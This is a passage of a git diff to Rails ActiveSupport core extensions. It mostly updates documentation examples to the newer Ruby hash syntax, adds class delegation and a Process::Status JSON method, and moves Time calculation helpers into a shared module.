def transform_keys!
keys.each do |key|
self[yield(key)] = delete(key)
@@ -57,13 +57,13 @@ class Hash
end
alias_method :to_options!, :symbolize_keys!
- # Validate all keys in a hash match *valid keys, raising ArgumentError on a mismatch.
- # Note that keys are NOT treated indifferently, meaning if you use strings for keys but assert symbols
- # as keys, this will fail.
+ # Validate all keys in a hash match <tt>*valid_keys</tt>, raising ArgumentError
+ # on a mismatch. Note that keys are NOT treated indifferently, meaning if you
+ # use strings for keys but assert symbols as keys, this will fail.
#
- # { :name => 'Rob', :years => '28' }.assert_valid_keys(:name, :age) # => raises "ArgumentError: Unknown key: years"
- # { :name => 'Rob', :age => '28' }.assert_valid_keys('name', 'age') # => raises "ArgumentError: Unknown key: name"
- # { :name => 'Rob', :age => '28' }.assert_valid_keys(:name, :age) # => passes, raises nothing
+ # { name: 'Rob', years: '28' }.assert_valid_keys(:name, :age) # => raises "ArgumentError: Unknown key: years"
+ # { name: 'Rob', age: '28' }.assert_valid_keys('name', 'age') # => raises "ArgumentError: Unknown key: name"
+ # { name: 'Rob', age: '28' }.assert_valid_keys(:name, :age) # => passes, raises nothing
def assert_valid_keys(*valid_keys)
valid_keys.flatten!
each_key do |k|
diff --git a/activesupport/lib/active_support/core_ext/hash/reverse_merge.rb b/activesupport/lib/active_support/core_ext/hash/reverse_merge.rb
index 6074103484..fbb482435d 100644
--- a/activesupport/lib/active_support/core_ext/hash/reverse_merge.rb
+++ b/activesupport/lib/active_support/core_ext/hash/reverse_merge.rb
@@ -1,11 +1,11 @@
class Hash
# Merges the caller into +other_hash+. For example,
#
- # options = options.reverse_merge(:size => 25, :velocity => 10)
+ # options = options.reverse_merge(size: 25, velocity: 10)
#
# is equivalent to
#
- # options = {:size => 25, :velocity => 10}.merge(options)
+ # options = { size: 25, velocity: 10 }.merge(options)
#
# This is particularly useful for initializing an options hash
# with default values.
diff --git a/activesupport/lib/active_support/core_ext/hash/slice.rb b/activesupport/lib/active_support/core_ext/hash/slice.rb
index b862b5ae2a..45fec57009 100644
--- a/activesupport/lib/active_support/core_ext/hash/slice.rb
+++ b/activesupport/lib/active_support/core_ext/hash/slice.rb
@@ -3,7 +3,7 @@ class Hash
# limiting an options hash to valid keys before passing to a method:
#
# def search(criteria = {})
- # assert_valid_keys(:mass, :velocity, :time)
+ # criteria.assert_valid_keys(:mass, :velocity, :time)
# end
#
# search(options.slice(:mass, :velocity, :time))
@@ -19,7 +19,9 @@ class Hash
# Replaces the hash with only the given keys.
# Returns a hash containing the removed key/value pairs.
- # {:a => 1, :b => 2, :c => 3, :d => 4}.slice!(:a, :b) # => {:c => 3, :d => 4}
+ #
+ # { a: 1, b: 2, c: 3, d: 4 }.slice!(:a, :b)
+ # # => {:c => 3, :d => 4}
def slice!(*keys)
keys.map! { |key| convert_key(key) } if respond_to?(:convert_key, true)
omit = slice(*self.keys - keys)
@@ -29,7 +31,9 @@ class Hash
end
# Removes and returns the key/value pairs matching the given keys.
- # {:a => 1, :b => 2, :c => 3, :d => 4}.extract!(:a, :b) # => {:a => 1, :b => 2}
+ #
+ # { a: 1, b: 2, c: 3, d: 4 }.extract!(:a, :b)
+ # # => {:a => 1, :b => 2}
def extract!(*keys)
keys.each_with_object({}) { |key, result| result[key] = delete(key) }
end
diff --git a/activesupport/lib/active_support/core_ext/integer/inflections.rb b/activesupport/lib/active_support/core_ext/integer/inflections.rb
index 1e30687166..56f2ed5985 100644
--- a/activesupport/lib/active_support/core_ext/integer/inflections.rb
+++ b/activesupport/lib/active_support/core_ext/integer/inflections.rb
@@ -10,7 +10,6 @@ class Integer
# 1003.ordinalize # => "1003rd"
# -11.ordinalize # => "-11th"
# -1001.ordinalize # => "-1001st"
- #
def ordinalize
ActiveSupport::Inflector.ordinalize(self)
end
@@ -24,7 +23,6 @@ class Integer
# 1003.ordinal # => "rd"
# -11.ordinal # => "th"
# -1001.ordinal # => "st"
- #
def ordinal
ActiveSupport::Inflector.ordinal(self)
end
diff --git a/activesupport/lib/active_support/core_ext/integer/time.rb b/activesupport/lib/active_support/core_ext/integer/time.rb
index 894b5d0696..9fb4f6b73a 100644
--- a/activesupport/lib/active_support/core_ext/integer/time.rb
+++ b/activesupport/lib/active_support/core_ext/integer/time.rb
@@ -1,21 +1,23 @@
class Integer
- # Enables the use of time calculations and declarations, like 45.minutes + 2.hours + 4.years.
+ # Enables the use of time calculations and declarations, like <tt>45.minutes +
+ # 2.hours + 4.years</tt>.
#
- # These methods use Time#advance for precise date calculations when using from_now, ago, etc.
- # as well as adding or subtracting their results from a Time object. For example:
+ # These methods use Time#advance for precise date calculations when using
+ # <tt>from_now</tt>, +ago+, etc. as well as adding or subtracting their
+ # results from a Time object.
#
- # # equivalent to Time.now.advance(:months => 1)
+ # # equivalent to Time.now.advance(months: 1)
# 1.month.from_now
#
- # # equivalent to Time.now.advance(:years => 2)
+ # # equivalent to Time.now.advance(years: 2)
# 2.years.from_now
#
- # # equivalent to Time.now.advance(:months => 4, :years => 5)
+ # # equivalent to Time.now.advance(months: 4, years: 5)
# (4.months + 5.years).from_now
#
- # While these methods provide precise calculation when used as in the examples above, care
- # should be taken to note that this is not true if the result of `months', `years', etc is
- # converted before use:
+ # While these methods provide precise calculation when used as in the examples
+ # above, care should be taken to note that this is not true if the result of
+ # +months+, +years+, etc is converted before use:
#
# # equivalent to 30.days.to_i.from_now
# 1.month.to_i.from_now
diff --git a/activesupport/lib/active_support/core_ext/kernel/reporting.rb b/activesupport/lib/active_support/core_ext/kernel/reporting.rb
index ad3f9ebec9..bc97da6ef2 100644
--- a/activesupport/lib/active_support/core_ext/kernel/reporting.rb
+++ b/activesupport/lib/active_support/core_ext/kernel/reporting.rb
@@ -1,7 +1,8 @@
require 'rbconfig'
module Kernel
- # Sets $VERBOSE to nil for the duration of the block and back to its original value afterwards.
+ # Sets $VERBOSE to nil for the duration of the block and back to its original
+ # value afterwards.
#
# silence_warnings do
# value = noisy_call # no warning voiced
@@ -12,12 +13,14 @@ module Kernel
with_warnings(nil) { yield }
end
- # Sets $VERBOSE to true for the duration of the block and back to its original value afterwards.
+ # Sets $VERBOSE to +true+ for the duration of the block and back to its
+ # original value afterwards.
def enable_warnings
with_warnings(true) { yield }
end
- # Sets $VERBOSE for the duration of the block and back to its original value afterwards.
+ # Sets $VERBOSE for the duration of the block and back to its original
+ # value afterwards.
def with_warnings(flag)
old_verbose, $VERBOSE = $VERBOSE, flag
yield
@@ -65,7 +68,6 @@ module Kernel
#
# stream = capture(:stdout) { puts 'Cool' }
# stream # => "Cool\n"
- #
def capture(stream)
begin
stream = stream.to_s
@@ -83,7 +85,6 @@ module Kernel
# Silences both STDOUT and STDERR, even for subprocesses.
#
# quietly { system 'bundle install' }
- #
def quietly
silence_stream(STDOUT) do
silence_stream(STDERR) do
diff --git a/activesupport/lib/active_support/core_ext/module/anonymous.rb b/activesupport/lib/active_support/core_ext/module/anonymous.rb
index 0a9e791030..b0c7b021db 100644
--- a/activesupport/lib/active_support/core_ext/module/anonymous.rb
+++ b/activesupport/lib/active_support/core_ext/module/anonymous.rb
@@ -13,7 +13,6 @@ class Module
# m = Module.new # creates an anonymous module
# M = m # => m gets a name here as a side-effect
# m.name # => "M"
- #
def anonymous?
name.nil?
end
diff --git a/activesupport/lib/active_support/core_ext/module/delegation.rb b/activesupport/lib/active_support/core_ext/module/delegation.rb
index 39a1240c61..e608eeaf42 100644
--- a/activesupport/lib/active_support/core_ext/module/delegation.rb
+++ b/activesupport/lib/active_support/core_ext/module/delegation.rb
@@ -18,7 +18,7 @@ class Module
#
# class Foo < ActiveRecord::Base
# belongs_to :greeter
- # delegate :hello, :to => :greeter
+ # delegate :hello, to: :greeter
# end
#
# Foo.new.hello # => "hello"
@@ -28,7 +28,7 @@ class Module
#
# class Foo < ActiveRecord::Base
# belongs_to :greeter
- # delegate :hello, :goodbye, :to => :greeter
+ # delegate :hello, :goodbye, to: :greeter
# end
#
# Foo.new.goodbye # => "goodbye"
@@ -43,15 +43,27 @@ class Module
# def initialize
# @instance_array = [8,9,10,11]
# end
- # delegate :sum, :to => :CONSTANT_ARRAY
- # delegate :min, :to => :@@class_array
- # delegate :max, :to => :@instance_array
+ # delegate :sum, to: :CONSTANT_ARRAY
+ # delegate :min, to: :@@class_array
+ # delegate :max, to: :@instance_array
# end
#
# Foo.new.sum # => 6
# Foo.new.min # => 4
# Foo.new.max # => 11
#
+ # It's also possible to delegate a method to the class by using +:class+:
+ #
+ # class Foo
+ # def self.hello
+ # "world"
+ # end
+ #
+ # delegate :hello, to: :class
+ # end
+ #
+ # Foo.new.hello # => "world"
+ #
# Delegates can optionally be prefixed using the <tt>:prefix</tt> option. If the value
# is <tt>true</tt>, the delegate methods are prefixed with the name of the object being
# delegated to.
@@ -59,7 +71,7 @@ class Module
# Person = Struct.new(:name, :address)
#
# class Invoice < Struct.new(:client)
- # delegate :name, :address, :to => :client, :prefix => true
+ # delegate :name, :address, to: :client, prefix: true
# end
#
# john_doe = Person.new('John Doe', 'Vimmersvej 13')
@@ -70,7 +82,7 @@ class Module
# It is also possible to supply a custom prefix.
#
# class Invoice < Struct.new(:client)
- # delegate :name, :address, :to => :client, :prefix => :customer
+ # delegate :name, :address, to: :client, prefix: :customer
# end
#
# invoice = Invoice.new(john_doe)
@@ -86,7 +98,7 @@ class Module
# def initialize(bar = nil)
# @bar = bar
# end
- # delegate :zoo, :to => :bar
+ # delegate :zoo, to: :bar
# end
#
# Foo.new.zoo # raises NoMethodError exception (you called nil.zoo)
@@ -96,15 +108,14 @@ class Module
# def initialize(bar = nil)
# @bar = bar
# end
- # delegate :zoo, :to => :bar, :allow_nil => true
+ # delegate :zoo, to: :bar, allow_nil: true
# end
#
# Foo.new.zoo # returns nil
- #
def delegate(*methods)
options = methods.pop
unless options.is_a?(Hash) && to = options[:to]
- raise ArgumentError, 'Delegation needs a target. Supply an options hash with a :to key as the last argument (e.g. delegate :hello, :to => :greeter).'
+ raise ArgumentError, 'Delegation needs a target. Supply an options hash with a :to key as the last argument (e.g. delegate :hello, to: :greeter).'
end
prefix, allow_nil = options.values_at(:prefix, :allow_nil)
@@ -123,6 +134,9 @@ class Module
file, line = caller.first.split(':', 2)
line = line.to_i
+ to = to.to_s
+ to = 'self.class' if to == 'class'
+
methods.each do |method|
# Attribute writer methods only accept one argument. Makes sure []=
# methods still accept two arguments.
diff --git a/activesupport/lib/active_support/core_ext/module/deprecation.rb b/activesupport/lib/active_support/core_ext/module/deprecation.rb
index 9e77ac3c45..34ec6a3d8f 100644
--- a/activesupport/lib/active_support/core_ext/module/deprecation.rb
+++ b/activesupport/lib/active_support/core_ext/module/deprecation.rb
@@ -1,10 +1,24 @@
require 'active_support/deprecation/method_wrappers'
class Module
- # Declare that a method has been deprecated.
# deprecate :foo
# deprecate :bar => 'message'
# deprecate :foo, :bar, :baz => 'warning!', :qux => 'gone!'
+ #
+ # You can also use custom deprecator instance:
+ #
+ # deprecate :foo, :deprecator => MyLib::Deprecator.new
+ # deprecate :foo, :bar => "warning!", :deprecator => MyLib::Deprecator.new
+ #
+ # \Custom deprecators must respond to <tt>deprecation_warning(deprecated_method_name, message, caller_backtrace)</tt>
+ # method where you can implement your custom warning behavior.
+ #
+ # class MyLib::Deprecator
+ # def deprecation_warning(deprecated_method_name, message, caller_backtrace)
+ # message = "#{method_name} is deprecated and will be removed from MyLibrary | #{message}"
+ # Kernel.warn message
+ # end
+ # end
def deprecate(*method_names)
ActiveSupport::Deprecation.deprecate_methods(self, *method_names)
end
diff --git a/activesupport/lib/active_support/core_ext/module/introspection.rb b/activesupport/lib/active_support/core_ext/module/introspection.rb
index 3c8e811fa4..649a969149 100644
--- a/activesupport/lib/active_support/core_ext/module/introspection.rb
+++ b/activesupport/lib/active_support/core_ext/module/introspection.rb
@@ -27,7 +27,6 @@ class Module
#
# M.parent # => Object
# Module.new.parent # => Object
- #
def parent
parent_name ? ActiveSupport::Inflector.constantize(parent_name) : Object
end
@@ -44,7 +43,6 @@ class Module
# M.parents # => [Object]
# M::N.parents # => [M, Object]
# X.parents # => [M, Object]
- #
def parents
parents = []
if parent_name
diff --git a/activesupport/lib/active_support/core_ext/numeric/conversions.rb b/activesupport/lib/active_support/core_ext/numeric/conversions.rb
index 2bbfa78639..6d3635c69a 100644
--- a/activesupport/lib/active_support/core_ext/numeric/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/numeric/conversions.rb
@@ -14,89 +14,89 @@ class Numeric
# ==== Examples
#
# Phone Numbers:
- # 5551234.to_s(:phone) # => 555-1234
- # 1235551234.to_s(:phone) # => 123-555-1234
- # 1235551234.to_s(:phone, :area_code => true) # => (123) 555-1234
- # 1235551234.to_s(:phone, :delimiter => " ") # => 123 555 1234
- # 1235551234.to_s(:phone, :area_code => true, :extension => 555) # => (123) 555-1234 x 555
- # 1235551234.to_s(:phone, :country_code => 1) # => +1-123-555-1234
- # 1235551234.to_s(:phone, :country_code => 1, :extension => 1343, :delimiter => ".")
+ # 5551234.to_s(:phone) # => 555-1234
+ # 1235551234.to_s(:phone) # => 123-555-1234
+ # 1235551234.to_s(:phone, area_code: true) # => (123) 555-1234
+ # 1235551234.to_s(:phone, delimiter: ' ') # => 123 555 1234
+ # 1235551234.to_s(:phone, area_code: true, extension: 555) # => (123) 555-1234 x 555
+ # 1235551234.to_s(:phone, country_code: 1) # => +1-123-555-1234
+ # 1235551234.to_s(:phone, country_code: 1, extension: 1343, delimiter: '.')
# # => +1.123.555.1234 x 1343
#
# Currency:
- # 1234567890.50.to_s(:currency) # => $1,234,567,890.50
- # 1234567890.506.to_s(:currency) # => $1,234,567,890.51
- # 1234567890.506.to_s(:currency, :precision => 3) # => $1,234,567,890.506
- # 1234567890.506.to_s(:currency, :locale => :fr) # => 1 234 567 890,51 €
- # -1234567890.50.to_s(:currency, :negative_format => "(%u%n)")
+ # 1234567890.50.to_s(:currency) # => $1,234,567,890.50
+ # 1234567890.506.to_s(:currency) # => $1,234,567,890.51
+ # 1234567890.506.to_s(:currency, precision: 3) # => $1,234,567,890.506
+ # 1234567890.506.to_s(:currency, locale: :fr) # => 1 234 567 890,51 €
+ # -1234567890.50.to_s(:currency, negative_format: '(%u%n)')
# # => ($1,234,567,890.50)
- # 1234567890.50.to_s(:currency, :unit => "&pound;", :separator => ",", :delimiter => "")
+ # 1234567890.50.to_s(:currency, unit: '&pound;', separator: ',', delimiter: '')
# # => &pound;1234567890,50
- # 1234567890.50.to_s(:currency, :unit => "&pound;", :separator => ",", :delimiter => "", :format => "%n %u")
+ # 1234567890.50.to_s(:currency, unit: '&pound;', separator: ',', delimiter: '', format: '%n %u')
# # => 1234567890,50 &pound;
#
# Percentage:
- # 100.to_s(:percentage) # => 100.000%
- # 100.to_s(:percentage, :precision => 0) # => 100%
- # 1000.to_s(:percentage, :delimiter => '.', :separator => ',') # => 1.000,000%
- # 302.24398923423.to_s(:percentage, :precision => 5) # => 302.24399%
- # 1000.to_s(:percentage, :locale => :fr) # => 1 000,000%
- # 100.to_s(:percentage, :format => "%n %") # => 100 %
+ # 100.to_s(:percentage) # => 100.000%
+ # 100.to_s(:percentage, precision: 0) # => 100%
+ # 1000.to_s(:percentage, delimiter: '.', separator: ',') # => 1.000,000%
+ # 302.24398923423.to_s(:percentage, precision: 5) # => 302.24399%
+ # 1000.to_s(:percentage, locale: :fr) # => 1 000,000%
+ # 100.to_s(:percentage, format: '%n %') # => 100 %
#
# Delimited:
- # 12345678.to_s(:delimited) # => 12,345,678
- # 12345678.05.to_s(:delimited) # => 12,345,678.05
- # 12345678.to_s(:delimited, :delimiter => ".") # => 12.345.678
- # 12345678.to_s(:delimited, :delimiter => ",") # => 12,345,678
- # 12345678.05.to_s(:delimited, :separator => " ") # => 12,345,678 05
- # 12345678.05.to_s(:delimited, :locale => :fr) # => 12 345 678,05
- # 98765432.98.to_s(:delimited, :delimiter => " ", :separator => ",")
+ # 12345678.to_s(:delimited) # => 12,345,678
+ # 12345678.05.to_s(:delimited) # => 12,345,678.05
+ # 12345678.to_s(:delimited, delimiter: '.') # => 12.345.678
+ # 12345678.to_s(:delimited, delimiter: ',') # => 12,345,678
+ # 12345678.05.to_s(:delimited, separator: ' ') # => 12,345,678 05
+ # 12345678.05.to_s(:delimited, locale: :fr) # => 12 345 678,05
+ # 98765432.98.to_s(:delimited, delimiter: ' ', separator: ',')
# # => 98 765 432,98
#
# Rounded:
- # 111.2345.to_s(:rounded) # => 111.235
- # 111.2345.to_s(:rounded, :precision => 2) # => 111.23
- # 13.to_s(:rounded, :precision => 5) # => 13.00000
- # 389.32314.to_s(:rounded, :precision => 0) # => 389
- # 111.2345.to_s(:rounded, :significant => true) # => 111
- # 111.2345.to_s(:rounded, :precision => 1, :significant => true) # => 100
- # 13.to_s(:rounded, :precision => 5, :significant => true) # => 13.000
- # 111.234.to_s(:rounded, :locale => :fr) # => 111,234
- # 13.to_s(:rounded, :precision => 5, :significant => true, :strip_insignificant_zeros => true)
+ # 111.2345.to_s(:rounded) # => 111.235
+ # 111.2345.to_s(:rounded, precision: 2) # => 111.23
+ # 13.to_s(:rounded, precision: 5) # => 13.00000
+ # 389.32314.to_s(:rounded, precision: 0) # => 389
+ # 111.2345.to_s(:rounded, significant: true) # => 111
+ # 111.2345.to_s(:rounded, precision: 1, significant: true) # => 100
+ # 13.to_s(:rounded, precision: 5, significant: true) # => 13.000
+ # 111.234.to_s(:rounded, locale: :fr) # => 111,234
+ # 13.to_s(:rounded, precision: 5, significant: true, strip_insignificant_zeros: true)
# # => 13
- # 389.32314.to_s(:rounded, :precision => 4, :significant => true) # => 389.3
- # 1111.2345.to_s(:rounded, :precision => 2, :separator => ',', :delimiter => '.')
+ # 389.32314.to_s(:rounded, precision: 4, significant: true) # => 389.3
+ # 1111.2345.to_s(:rounded, precision: 2, separator: ',', delimiter: '.')
# # => 1.111,23
#
# Human-friendly size in Bytes:
- # 123.to_s(:human_size) # => 123 Bytes
- # 1234.to_s(:human_size) # => 1.21 KB
- # 12345.to_s(:human_size) # => 12.1 KB
- # 1234567.to_s(:human_size) # => 1.18 MB
- # 1234567890.to_s(:human_size) # => 1.15 GB
- # 1234567890123.to_s(:human_size) # => 1.12 TB
- # 1234567.to_s(:human_size, :precision => 2) # => 1.2 MB
- # 483989.to_s(:human_size, :precision => 2) # => 470 KB
- # 1234567.to_s(:human_size, :precision => 2, :separator => ',') # => 1,2 MB
- # 1234567890123.to_s(:human_size, :precision => 5) # => "1.1229 TB"
- # 524288000.to_s(:human_size, :precision => 5) # => "500 MB"
+ # 123.to_s(:human_size) # => 123 Bytes
+ # 1234.to_s(:human_size) # => 1.21 KB
+ # 12345.to_s(:human_size) # => 12.1 KB
+ # 1234567.to_s(:human_size) # => 1.18 MB
+ # 1234567890.to_s(:human_size) # => 1.15 GB
+ # 1234567890123.to_s(:human_size) # => 1.12 TB
+ # 1234567.to_s(:human_size, precision: 2) # => 1.2 MB
+ # 483989.to_s(:human_size, precision: 2) # => 470 KB
+ # 1234567.to_s(:human_size, precision: 2, separator: ',') # => 1,2 MB
+ # 1234567890123.to_s(:human_size, precision: 5) # => "1.1229 TB"
+ # 524288000.to_s(:human_size, precision: 5) # => "500 MB"
#
# Human-friendly format:
- # 123.to_s(:human) # => "123"
- # 1234.to_s(:human) # => "1.23 Thousand"
- # 12345.to_s(:human) # => "12.3 Thousand"
- # 1234567.to_s(:human) # => "1.23 Million"
- # 1234567890.to_s(:human) # => "1.23 Billion"
- # 1234567890123.to_s(:human) # => "1.23 Trillion"
- # 1234567890123456.to_s(:human) # => "1.23 Quadrillion"
- # 1234567890123456789.to_s(:human) # => "1230 Quadrillion"
- # 489939.to_s(:human, :precision => 2) # => "490 Thousand"
- # 489939.to_s(:human, :precision => 4) # => "489.9 Thousand"
- # 1234567.to_s(:human, :precision => 4,
- # :significant => false) # => "1.2346 Million"
- # 1234567.to_s(:human, :precision => 1,
- # :separator => ',',
- # :significant => false) # => "1,2 Million"
+ # 123.to_s(:human) # => "123"
+ # 1234.to_s(:human) # => "1.23 Thousand"
+ # 12345.to_s(:human) # => "12.3 Thousand"
+ # 1234567.to_s(:human) # => "1.23 Million"
+ # 1234567890.to_s(:human) # => "1.23 Billion"
+ # 1234567890123.to_s(:human) # => "1.23 Trillion"
+ # 1234567890123456.to_s(:human) # => "1.23 Quadrillion"
+ # 1234567890123456789.to_s(:human) # => "1230 Quadrillion"
+ # 489939.to_s(:human, precision: 2) # => "490 Thousand"
+ # 489939.to_s(:human, precision: 4) # => "489.9 Thousand"
+ # 1234567.to_s(:human, precision: 4,
+ # significant: false) # => "1.2346 Million"
+ # 1234567.to_s(:human, precision: 1,
+ # separator: ',',
+ # significant: false) # => "1,2 Million"
def to_formatted_s(format = :default, options = {})
case format
when :phone
diff --git a/activesupport/lib/active_support/core_ext/numeric/time.rb b/activesupport/lib/active_support/core_ext/numeric/time.rb
index 2bf3d1f278..87b9a23aef 100644
--- a/activesupport/lib/active_support/core_ext/numeric/time.rb
+++ b/activesupport/lib/active_support/core_ext/numeric/time.rb
@@ -8,13 +8,13 @@ class Numeric
# These methods use Time#advance for precise date calculations when using from_now, ago, etc.
# as well as adding or subtracting their results from a Time object. For example:
#
- # # equivalent to Time.current.advance(:months => 1)
+ # # equivalent to Time.current.advance(months: 1)
# 1.month.from_now
#
- # # equivalent to Time.current.advance(:years => 2)
+ # # equivalent to Time.current.advance(years: 2)
# 2.years.from_now
#
- # # equivalent to Time.current.advance(:months => 4, :years => 5)
+ # # equivalent to Time.current.advance(months: 4, years: 5)
# (4.months + 5.years).from_now
#
# While these methods provide precise calculation when used as in the examples above, care
diff --git a/activesupport/lib/active_support/core_ext/object/blank.rb b/activesupport/lib/active_support/core_ext/object/blank.rb
index e238fef5a2..8a5eb4bc93 100644
--- a/activesupport/lib/active_support/core_ext/object/blank.rb
+++ b/activesupport/lib/active_support/core_ext/object/blank.rb
@@ -43,7 +43,6 @@ class NilClass
# +nil+ is blank:
#
# nil.blank? # => true
- #
def blank?
true
end
@@ -53,7 +52,6 @@ class FalseClass
# +false+ is blank:
#
# false.blank? # => true
- #
def blank?
true
end
@@ -63,7 +61,6 @@ class TrueClass
# +true+ is not blank:
#
# true.blank? # => false
- #
def blank?
false
end
@@ -74,7 +71,6 @@ class Array
#
# [].blank? # => true
# [1,2,3].blank? # => false
- #
alias_method :blank?, :empty?
end
@@ -82,8 +78,7 @@ class Hash
# A hash is blank if it's empty:
#
# {}.blank? # => true
- # {:key => 'value'}.blank? # => false
- #
+ # { key: 'value' }.blank? # => false
alias_method :blank?, :empty?
end
@@ -94,7 +89,6 @@ class String
# ' '.blank? # => true
# ' '.blank? # => true
# ' something here '.blank? # => false
- #
def blank?
self !~ /[^[:space:]]/
end
@@ -105,7 +99,6 @@ class Numeric #:nodoc:
#
# 1.blank? # => false
# 0.blank? # => false
- #
def blank?
false
end
diff --git a/activesupport/lib/active_support/core_ext/object/duplicable.rb b/activesupport/lib/active_support/core_ext/object/duplicable.rb
index f1b755c2c4..9cd7485e2e 100644
--- a/activesupport/lib/active_support/core_ext/object/duplicable.rb
+++ b/activesupport/lib/active_support/core_ext/object/duplicable.rb
@@ -31,7 +31,6 @@ class NilClass
#
# nil.duplicable? # => false
# nil.dup # => TypeError: can't dup NilClass
- #
def duplicable?
false
end
@@ -42,7 +41,6 @@ class FalseClass
#
# false.duplicable? # => false
# false.dup # => TypeError: can't dup FalseClass
- #
def duplicable?
false
end
@@ -53,7 +51,6 @@ class TrueClass
#
# true.duplicable? # => false
# true.dup # => TypeError: can't dup TrueClass
- #
def duplicable?
false
end
@@ -64,7 +61,6 @@ class Symbol
#
# :my_symbol.duplicable? # => false
# :my_symbol.dup # => TypeError: can't dup Symbol
- #
def duplicable?
false
end
@@ -75,7 +71,6 @@ class Numeric
#
# 3.duplicable? # => false
# 3.dup # => TypeError: can't dup Fixnum
- #
def duplicable?
false
end
diff --git a/activesupport/lib/active_support/core_ext/object/to_json.rb b/activesupport/lib/active_support/core_ext/object/to_json.rb
index e7dc60a612..83cc8066e7 100644
--- a/activesupport/lib/active_support/core_ext/object/to_json.rb
+++ b/activesupport/lib/active_support/core_ext/object/to_json.rb
@@ -17,3 +17,11 @@ end
end
end
end
+
+module Process
+ class Status
+ def as_json(options = nil)
+ { :exitstatus => exitstatus, :pid => pid }
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/object/with_options.rb b/activesupport/lib/active_support/core_ext/object/with_options.rb
index e058367111..42e388b065 100644
--- a/activesupport/lib/active_support/core_ext/object/with_options.rb
+++ b/activesupport/lib/active_support/core_ext/object/with_options.rb
@@ -10,16 +10,16 @@ class Object
# Without <tt>with_options></tt>, this code contains duplication:
#
# class Account < ActiveRecord::Base
- # has_many :customers, :dependent => :destroy
- # has_many :products, :dependent => :destroy
- # has_many :invoices, :dependent => :destroy
- # has_many :expenses, :dependent => :destroy
+ # has_many :customers, dependent: :destroy
+ # has_many :products, dependent: :destroy
+ # has_many :invoices, dependent: :destroy
+ # has_many :expenses, dependent: :destroy
# end
#
# Using <tt>with_options</tt>, we can remove the duplication:
#
# class Account < ActiveRecord::Base
- # with_options :dependent => :destroy do |assoc|
+ # with_options dependent: :destroy do |assoc|
# assoc.has_many :customers
# assoc.has_many :products
# assoc.has_many :invoices
@@ -29,14 +29,13 @@ class Object
#
# It can also be used with an explicit receiver:
#
- # I18n.with_options :locale => user.locale, :scope => 'newsletter' do |i18n|
+ # I18n.with_options locale: user.locale, scope: 'newsletter' do |i18n|
# subject i18n.t :subject
- # body i18n.t :body, :user_name => user.name
+ # body i18n.t :body, user_name: user.name
# end
#
# <tt>with_options</tt> can also be nested since the call is forwarded to its receiver.
# Each nesting level will merge inherited defaults in addition to their own.
- #
def with_options(options)
yield ActiveSupport::OptionMerger.new(self, options)
end
diff --git a/activesupport/lib/active_support/core_ext/string/filters.rb b/activesupport/lib/active_support/core_ext/string/filters.rb
index 8644529806..e05447439a 100644
--- a/activesupport/lib/active_support/core_ext/string/filters.rb
+++ b/activesupport/lib/active_support/core_ext/string/filters.rb
@@ -24,16 +24,16 @@ class String
#
# Pass a string or regexp <tt>:separator</tt> to truncate +text+ at a natural break:
#
- # 'Once upon a time in a world far far away'.truncate(27, :separator => ' ')
+ # 'Once upon a time in a world far far away'.truncate(27, separator: ' ')
# # => "Once upon a time in a..."
#
- # 'Once upon a time in a world far far away'.truncate(27, :separator => /\s/)
+ # 'Once upon a time in a world far far away'.truncate(27, separator: /\s/)
# # => "Once upon a time in a..."
#
# The last characters will be replaced with the <tt>:omission</tt> string (defaults to "...")
# for a total length not exceeding <tt>length</tt>:
#
- # 'And they found that many people were sleeping better.'.truncate(25, :omission => '... (continued)')
+ # 'And they found that many people were sleeping better.'.truncate(25, omission: '... (continued)')
# # => "And they f... (continued)"
def truncate(truncate_at, options = {})
return dup unless length > truncate_at
diff --git a/activesupport/lib/active_support/core_ext/string/output_safety.rb b/activesupport/lib/active_support/core_ext/string/output_safety.rb
index c17d695967..5f85cedcf5 100644
--- a/activesupport/lib/active_support/core_ext/string/output_safety.rb
+++ b/activesupport/lib/active_support/core_ext/string/output_safety.rb
@@ -3,7 +3,7 @@ require 'active_support/core_ext/kernel/singleton_class'
class ERB
module Util
- HTML_ESCAPE = { '&' => '&amp;', '>' => '&gt;', '<' => '&lt;', '"' => '&quot;', "'" => '&#x27;' }
+ HTML_ESCAPE = { '&' => '&amp;', '>' => '&gt;', '<' => '&lt;', '"' => '&quot;', "'" => '&#39;' }
JSON_ESCAPE = { '&' => '\u0026', '>' => '\u003E', '<' => '\u003C' }
HTML_ESCAPE_ONCE_REGEXP = /["><']|&(?!([a-zA-Z]+|(#\d+));)/
JSON_ESCAPE_REGEXP = /[&"><]/
@@ -59,19 +59,11 @@ class ERB
#
# json_escape('{"name":"john","created_at":"2010-04-28T01:39:31Z","id":1}')
# # => {name:john,created_at:2010-04-28T01:39:31Z,id:1}
- #
- # This method is also aliased as +j+, and available as a helper
- # in Rails templates:
- #
- # <%=j @person.to_json %>
- #
def json_escape(s)
result = s.to_s.gsub(JSON_ESCAPE_REGEXP) { |special| JSON_ESCAPE[special] }
s.html_safe? ? result.html_safe : result
end
- alias j json_escape
- module_function :j
module_function :json_escape
end
end
diff --git a/activesupport/lib/active_support/core_ext/time/calculations.rb b/activesupport/lib/active_support/core_ext/time/calculations.rb
index d0f574f2ba..e3665cd896 100644
--- a/activesupport/lib/active_support/core_ext/time/calculations.rb
+++ b/activesupport/lib/active_support/core_ext/time/calculations.rb
@@ -2,18 +2,12 @@ require 'active_support/duration'
require 'active_support/core_ext/time/conversions'
require 'active_support/time_with_zone'
require 'active_support/core_ext/time/zones'
+require 'active_support/core_ext/date_and_time/calculations'
class Time
+ include DateAndTime::Calculations
+
COMMON_YEAR_DAYS_IN_MONTH = [nil, 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31]
- DAYS_INTO_WEEK = {
- :monday => 0,
- :tuesday => 1,
- :wednesday => 2,
- :thursday => 3,
- :friday => 4,
- :saturday => 5,
- :sunday => 6
- }
class << self
# Overriding case equality method so that it returns true for ActiveSupport::TimeWithZone instances
@@ -63,29 +57,22 @@ class Time
end
end
- # Tells whether the Time object's time lies in the past
- def past?
- self < ::Time.current
- end
-
- # Tells whether the Time object's time is today
- def today?
- to_date == ::Date.current
- end
-
- # Tells whether the Time object's time lies in the future
- def future?
- self > ::Time.current
- end
-
# Seconds since midnight: Time.now.seconds_since_midnight
def seconds_since_midnight
to_i - change(:hour => 0).to_i + (usec / 1.0e+6)
end
- # Returns a new Time where one or more of the elements have been changed according to the +options+ parameter. The time options
